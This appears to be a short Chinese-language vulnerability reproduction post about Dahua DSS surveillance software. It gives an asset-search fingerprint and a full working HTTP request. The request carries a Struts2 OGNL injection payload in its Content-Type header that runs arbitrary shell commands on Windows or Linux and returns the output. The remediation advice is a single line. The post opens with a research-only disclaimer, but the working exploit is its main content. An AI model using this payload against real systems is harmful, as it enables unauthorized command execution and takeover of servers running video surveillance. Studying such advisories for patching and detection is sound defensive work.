免責聲明
本文章僅做網絡安全技術研究使用!嚴禁用于非法犯罪行為,請嚴格遵守國家法律法規;請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者無關。使用本文所提供的信息或工具即視為同意本免責聲明,并承諾遵守相關法律法規和道德規范。
產品簡介
大華DSS 數字監控系統是大華開發的一款安防視頻監控系統,擁有實時監視、云臺操作、錄像回放、報警處理、設備管理等功能。
漏洞概述
大華存在前臺命令執行漏洞,攻擊者可以通過此漏洞獲取服務器權限。
資產測繪
app=“dahua-DSS”
漏洞復現
POST /config/user_toLoginPage.action HTTP/1.1
Host: your_ip
Connection: close
Cookie: JSESSIONID=B8790DC4F77C2EA50A17076F9D08E9D1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0
修復建議
升級至最新安全版本。